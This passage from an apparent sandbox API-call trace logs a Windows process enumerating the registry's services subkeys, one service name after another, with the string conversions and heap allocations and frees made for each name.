dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0232.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0232.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.696] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0232.696] RegCloseKey (hKey=0x150) returned 0x0 [0232.696] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0232.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0232.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1bb0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0232.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.696] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0232.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0232.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a48, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0232.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.696] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0232.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0232.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1bb0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0232.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.697] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0232.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0232.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a48, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0232.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.697] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0232.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0232.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1bb0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0232.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.697] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0232.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0232.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a48, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0232.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.697] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0232.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0232.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1bb0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0232.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.698] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0232.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0232.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.698] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0232.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1bb0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0232.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.698] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0232.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0232.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.698] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0232.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0232.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1bb0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0232.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.699] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0232.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0232.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.699] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0232.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0232.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.699] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0232.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0232.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.699] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0232.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1bb0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0232.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.700] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0232.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0232.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0232.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.700] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0232.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1bb0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0232.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.700] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0232.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0232.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.701] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0232.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1bb0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0232.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.701] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0232.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, 